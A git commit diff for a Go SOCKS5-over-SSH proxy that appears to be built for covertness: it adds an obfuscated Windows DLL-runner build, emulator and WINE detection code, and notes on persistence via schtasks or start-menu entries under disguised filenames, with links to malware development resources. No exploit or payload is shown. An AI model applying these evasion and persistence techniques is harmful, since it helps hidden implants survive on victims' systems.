Build dll runner with goreleaser

.goreleaser.yaml

@@ -26,13 +26,30 @@ builds:
     goarch:
       - amd64
     ldflags:
-      - -s -trimpath
+      - -w -trimpath
     gobinary: "scripts/garble.sh"
     buildmode: c-shared
     tags:
       - release
       - dll
 
+  - id: "win-dll-loader"
+    env:
+      - CGO_ENABLED=1
+      - CC=x86_64-w64-mingw32-gcc
+      - CXX=x86_64-w64-mingw32-g++
+    main: ./cmd/win-dll-runner/main.go
+    ldflags:
+      - -w
+    gobinary: "scripts/garble.sh"
+    goos:
+      - windows
+    goarch:
+      - amd64
+    tags:
+      - release
+
+
   - id: "win-release"
     env:
       - CGO_ENABLED=1
@@ -43,7 +60,7 @@ builds:
     goarch:
       - amd64
     ldflags:
-      - -H=windowsgui
+      - -w -H=windowsgui
     gobinary: "scripts/garble.sh"
     tags:
       - release
@@ -52,7 +69,7 @@ upx:
   - # Whether to enable it or not.
     #
     # Templates: allowed.
-    enabled: true
+    enabled: false
 
     # Filter by build ID.
     #ids: [build1, build2]

Makefile

@@ -1,4 +1,4 @@
-SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go
+SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go
 GARBLE_BIN = $(shell go env GOPATH)/bin/garble
 GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
 
@@ -14,7 +14,7 @@ test: socks5-ssh-proxy
 test-release: socks5-ssh-proxy.release
 	./socks5-ssh-proxy.release
 socks5-ssh-proxy: $(SOURCES) 
-	go build -o $@
+	GOOS=linux GOARCH=amd64 go build -tags release,linux -o $@
 socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
 	GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
 	upx $@

README.md

@@ -62,19 +62,3 @@ Following detections have been tested:
 * upx
 * goreleaser
 * mingw-w64 (for building the windows dll/exe)
-
-## Related information
-
-* <https://github.com/rootkit-io/awesome-malware-development>
-* <https://github.com/rshipp/awesome-malware-analysis#readme>
-* <https://github.com/Karneades/awesome-malware-persistence#readme>>
-* <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/>
-* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
-* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
-* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
-
-## Development information
-
-* <https://pypi.org/project/unipacker/>
-* <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d>
-* <https://github.com/burrowers/garble?tab=readme-ov-file#mechanism>>

cmd/win-dll-runner/main.go

@@ -5,7 +5,6 @@ package main
 
 import (
 	"golang.org/x/sys/windows"
-	"os"
 )
 
 func runMainFromDLL() {
@@ -17,7 +16,7 @@ func runMainFromDLL() {
 		return
 	}
 
-	_, _, _ := runMainFunc.Call()
+	_, _, _ = runMainFunc.Call()
 }
 
 func main() {

docs/NOTES.md

@@ -46,9 +46,44 @@ Check if running under wine by testing if executables are present:
 
 * The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build
 
+## OS and emulator/environment detector
+
+* Linux
+  * Native
+  * Msys (Windows)
+  * CYGWIN (Windows)
+  * [Microsoft WSL & WSLv2](https://github.com/microsoft/WSL/issues/4071)
+  * [FreeBSD linuxemu](https://docs.freebsd.org/en/books/handbook/linuxemu/)
+* Windows
+  * WINE
+  * ReactOS
+  * Native
+* Darwin (macOS)
+
 ## Windows
 
 * Copy to well known current user binary path to semi related filenames
 * Run via start menu item for current user, or via `schtasks`
   * <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create>
   * <https://github.com/emersion/go-autostart>
+
+## Detection
+
+* <https://www.logpoint.com/en/blog/deep-dive-on-malicious-dlls/>
+* <https://github.com/sandflysecurity/sandfly-entropyscan>
+* <https://pypi.org/project/unipacker/>
+
+## Related information
+
+* <https://github.com/rootkit-io/awesome-malware-development>
+* <https://github.com/rshipp/awesome-malware-analysis#readme>
+* <https://github.com/Karneades/awesome-malware-persistence#readme>>
+* <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/>
+* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
+* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
+* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
+
+## Development information
+
+* <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d>
+* <https://github.com/burrowers/garble?tab=readme-ov-file#mechanism>>

go.mod

@@ -6,13 +6,13 @@ require (
 	github.com/cloudfoundry/socks5-proxy v0.2.120
 	github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
 	golang.org/x/crypto v0.25.0
+	golang.org/x/sys v0.22.0
 )
 
 require (
 	github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e // indirect
 	github.com/miekg/dns v1.1.29 // indirect
 	golang.org/x/net v0.27.0 // indirect
-	golang.org/x/sys v0.22.0 // indirect
 )
 
 replace github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38

system.go

@@ -156,6 +156,8 @@ func systemIgnoreAllSignals() {
 }
 
 func systemOSDetect() {
+	systemGetUname()
+
 	wineVersion := systemGetWINEVersion()
 	log.Println("WINE version", wineVersion)
 	log.Println("IsUserRoot", systemIsUserRoot())

system_darwin.go

@@ -1,13 +1,14 @@
-//go:build !windows
+//go:build darwin 
-// +build !windows
+// +build darwin
 
-//
 package main
 
 func systemGetWINEVersion() string {
 	return ""
 }
 
+func systemGetUname() {
+}
 
 func systemIsUserRoot() bool {
 	return false

system_linux.go

@@ -0,0 +1,49 @@
+//go:build linux
+// +build linux
+
+package main
+
+import (
+	"log"
+	"syscall"
+	"strings"
+)
+
+func systemGetWINEVersion() string {
+	return ""
+}
+
+func systemGetUname() {
+	var uts syscall.Utsname
+
+	err := syscall.Uname(&uts)
+	if err != nil {
+		log.Println("Error getting system information:", err)
+		return
+	}
+
+	// Convert the byte arrays to strings
+	sysname := int8SliceToString(uts.Sysname[:])
+	release := int8SliceToString(uts.Release[:])
+	version := int8SliceToString(uts.Version[:])
+
+	// Check for FreeBSD Linux emulation specific indicators
+	log.Println("syscall.Uname:", "(sysname)", sysname, "(release)", release, "(version)", version)
+	if strings.Contains(sysname, "Linux") && strings.Contains(version, "FreeBSD") {
+		log.Println("Running under FreeBSD linuxemu")
+	}
+}
+
+// int8SliceToString converts a slice of int8 to a string.
+func int8SliceToString(int8Slice []int8) string {
+	// Create a byte slice with the same length as the int8 slice
+	byteSlice := make([]byte, len(int8Slice))
+	for i, v := range int8Slice {
+		byteSlice[i] = byte(v)
+	}
+	return string(byteSlice)
+}
+
+func systemIsUserRoot() bool {
+	return false
+}

system_windows.go

@@ -26,6 +26,9 @@ func systemGetWINEVersion() string {
 	return wineVersion
 }
 
+func systemGetUname() {
+}
+
 func systemIsUserRoot() bool {
 	root := true